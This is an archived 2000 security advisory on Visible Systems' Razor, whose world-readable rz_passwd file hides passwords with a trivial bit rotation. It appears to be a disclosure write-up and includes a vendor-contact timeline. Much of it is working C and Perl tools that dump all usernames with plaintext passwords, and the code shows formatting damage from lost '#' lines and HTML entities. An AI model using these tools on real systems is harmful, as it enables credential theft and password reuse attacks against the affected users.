Recovering Passwords in Visible Systems' Razor

2000-07-06T00:00:00
ID SECURITYVULNS:DOC:411
Type securityvulns
Reporter Securityvulns
Modified 2000-07-06T00:00:00

Description

|-------------- RECOVERING PASSWORDS IN VISIBLE SYSTEMS' RAZOR ---------------| |--------------------------------------------------------------------------- --| |-------------------- Shawn Clifford <shawn@clifford.cc> ---------------------|

This advisory follows the RFP disclosure policy: http://www.wiretrip.net/rfp/policy.html

----| ISSUE

Razor is a configuration management tool (see http://www.razor.visible.com). There is a serious flaw with the Razor password file, rz_passwd.

The problem is two-fold:

    1&#41;  The enciphering method used to scramble the password is

extremely weak, using only a simple bit rotation on each byte. This was obvious after studying the rz_passwd file format for less than 30 minutes.

    2&#41;  The permissions on rz_passwd are world readable &#40;a+r&#41;.  If we
    change the permissions to owner-only readable &#40;mode 400&#41;, Razor

works fine. But, when a 'razor add_user ....', 'razor remove_user ...', or 'razor passwd' command is issued, the permissions are changed back to world readable. We then tried changing the permissions on the parent directory to rwx------ (mode 700), but Razor was then unable to restart the databases.

The Razor password file is found in a directory named Razor_License on the machine acting as the license server.

----| ORIGINATORS

Shawn Clifford <shawn@clifford.cc>, Pat Walker <pwalker@iag.net> Date of contact: 2000-Jun-16 Receipt acknowledgment: 2000-Jun-16

----| MAINTAINER

Visible Systems Corporation 248 Main Street Oneida, NY 13421 315-363-8000 Web page: http://www.visible.com Email contact: mailto:razor_support@visible.com

----| DISCUSSION

The razor password file is composed of 51-byte records of three fields of 17 bytes. The fields are: username, encoded password, and group.

The username and group fields are stored in ASCII plaintext with NULL padding, and the encoded password is an 8-byte (maximum) field with NULL padding.

The enciphered password is created by rotating each byte in the plaintext password right 2 bits. To decode the password, each byte is just rotated left 2 bits.

Obviously this is an extremely weak and dangerous method for securing the passwords. In fact, you can sit down with a pad, pencil, and a hex dump of of the password file and decode entries by hand. But to make matters worse, the password file is world readable.

A repurcussion of this might be that an attacker recovers a user's Razor password and then tries the password against other accounts that the user may have. I would guess that many users have the same password everywhere. This is a bad password policy, but nearly impossible to detect or deter.

----| SOLUTION

Visible said: "Thank you for your suggested enhancement. We have placed your enhancement suggestion in our program database for consideration in future Razor upgrades."

Huh??????

If you are a Razor user, I suggest you send them a persuasive email.

You may as well do a 'chmod 400' on the parent directory, but keep in mind that the permissions will change the next time you run one of the rz commands that touch the password file.

----| EXAMPLE CODES

== dumprazorpasswd.c ==

include <stdio.h>

include <fcntl.h>

include <stdlib.h>

include <ctype.h>

/************

dumprazorpasswd - dumprazorpasswd - prompts for input hex string to decode dumprazorpasswd <razor_passwd_file> - prints the users and passwords in <file> dumprazorpasswd <passwd> - encrypts <passwd> and prints it in hex

16-jun-2000 pbw.

************/

define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )

define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )

& 0x00ff) )

define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (

c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )

struct pwent { char uname[17]; char psswd[17]; char gname[17]; };

dumpfile (int fd) { int status, k; struct pwent pwent;

while ( (status = read (fd, &pwent, 51)) > 0 ) { if (status != 51) { printf ("fd = %d\n", fd); printf ("partial read! only read %d bytes\n", status); exit(0); } k = 0; while (pwent.psswd[k] != '\0') { ROT8L(pwent.psswd[k], 10); k++; } printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0])); } }

main (int argc, char *argv[])

{ int fd,i,k; char passwd[18]; char dpasswd[9];

if (argc < 2) { printf("razor passwd to decrypt :"); fgets(passwd, 17, stdin); passwd[strlen(passwd)-1] = 0; k=0; for (i=0 ; i<9 ; dpasswd[i++]=0); for (i=(strlen(passwd)-1) ; i>=0 ; i--) { if (k & 1) { dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0); } else { dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f; } k++; } for (i=0 ; i<strlen(dpasswd) ; i++) ROT8L(dpasswd[i], 2); printf("%s\n", dpasswd); exit(0); } fd = open (argv[1], O_RDONLY); if (fd < 0) { / assume arg is a passwd to encrypt / for ( i=0 ; i<strlen(argv[1]) ; i++) printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) ); printf("\n"); } else { / dump file / dumpfile(fd); } exit(0); } == dumprazorpasswd.c ==

== passwd_rz.pl ==

!/usr/local/bin/perl

Title: passwd_rz.pl

Author: Shawn A. Clifford

Date: 2000-June-15

Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords

Usage: passwd_rz.pl [ hex_hash | password_file_name ]

When run without arguments, this program will prompt for

a plaintext password and produce the ciphertext that Razor

would create for the same string.

Eg.: ./passwd_rz.pl

Enter a password, max 8 chars: WayLame

Hash (in hex): D5585E13585B59

When passed a hex-character string, the program will

generate the corresponding plaintext password.

Eg.: ./passwd_rz.pl D5585E13585B59

Decrypting input hex string: D5585E13585B59

Plaintext password: WayLame

When passed a filename for a Razor password file

(rz_passwd),

the program will dump all of the entries in the password

file. Each entry contains a username, password, and group.

Eg.: ./passwd_rz.pl rz_passwd

Decrypting Razor password file: rz_passwd

Username Password Group

-------- -------- -----

luser123 lamerz please

luser45 cant fix

buckwheat code this

.

.

.

tester1 CCCCCCCC test

tester2 AAAAAA test

233 password entries

use strict;

Defines

my $arg; # Command line argument my $PLEN = 8; # Maximum number of chars in a password my $PGLEN = 22; # Output page length my @hash; # Password hash (err, lame cipher) my $passwd; # Plaintext password my $byte; # A single byte/char my $buffer; # Record from the password file my $i; # Counter/index my $user; # Username from password file my $group; # Group name from password file my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record

if ($#ARGV < 0) { # We want to encrypt a password

# # Get a password # print "\nEnter a password, max 8 chars: "; $passwd = <STDIN>; chomp $passwd;

# # Encrypt the password # print "Hash (in hex): "; for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {

  #
  #  For each byte in the password, rotate right 2 bits
  #
  $byte = unpack&#40;&quot;C&quot;, substr&#40;$passwd,$i,1&#41;&#41; &gt;&gt; 2;
  $byte += unpack&#40;&quot;C&quot;, substr&#40;$passwd,$i,1&#41;&#41; &lt;&lt; 6;

  #
  #  Mask off the resultant low byte and save
  #
  $hash[$i] = $byte &amp; 0x00ff;
  printf &quot;&#37;X&quot;, $hash[$i];

} print "\n\n";

} else { # We want to decrypt a rz_passwd file or hex string

$arg = shift;

if ( -f ${arg} ) { # It's a file to process

  print &quot;&#92;nDecrypting Razor password file:  $arg&#92;n&quot;;
  open&#40;IN, &quot;&lt;${arg}&quot;&#41; || die &quot;Can&#39;t open passwd file: $!&quot;;

  $i = 0;
  while &#40; read&#40;IN, $buffer, $rec_size&#41; == $rec_size &#41; {
     if &#40;$i &#37; $PGLEN == 0&#41; {
        print &quot;&#92;nUsername           Password         Group&#92;n&quot;;
        print &quot;--------           --------         -----&#92;n&quot;;
     }
     &#40;$user, @hash, $group&#41; = unpack&#40;$rec_fmt, $buffer&#41;;
     $group = substr&#40;$buffer, 34, 17&#41;;  # unpack didn&#39;t give me this,

why? printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group; $i++; } printf "\n%d password entries\n\n", $i; close(IN);

} else { # It had better be a string of hex digits!

  print &quot;&#92;nDecrypting input hex string:  $arg&#92;n&quot;;

  #
  #  Convert ASCII character string to a binary array
  #
  @hash = &#40;&#41;;
  for &#40;$i=0; $i &lt; &#40;length&#40;$arg&#41;/2&#41; &amp;&amp; $i &lt; $PLEN; $i++&#41; {
     $byte = hex&#40;substr&#40;$arg, $i*2, 2&#41;&#41;;
     $hash[$i] = $byte;
  }

  #
  #  Call the decrypt function to print the plaintext password
  #
  printf &quot;Plaintext password:           &#37;s&#92;n&#92;n&quot;, decrypt&#40;@hash&#41;;

}

}

sub decrypt { my @hash = @_; # Pick up the passed array my $passwd = (); # Zero the output plaintext scalar my $i; my $byte;

# # Decrypt the lamely enciphered password # for ($i=0; $i < $PLEN; $i++) {

  #
  #  Convert NULLs to spaces
  #
  if &#40;$hash[$i] == 0&#41; {
     $passwd = $passwd . &quot; &quot;;
     next;
  }

  #
  #  For each byte in the hash, rotate left 2 bits
  #
  $byte = $hash[$i] &lt;&lt; 2;
  $byte += &#40;$hash[$i] &gt;&gt; 6&#41; &amp; 0x03;

  #
  #  Mask off the resultant low byte and save
  #
  $passwd = $passwd . chr&#40;$byte &amp; 0x00ff&#41;;

}

return $passwd; } == passwd_rz.pl ==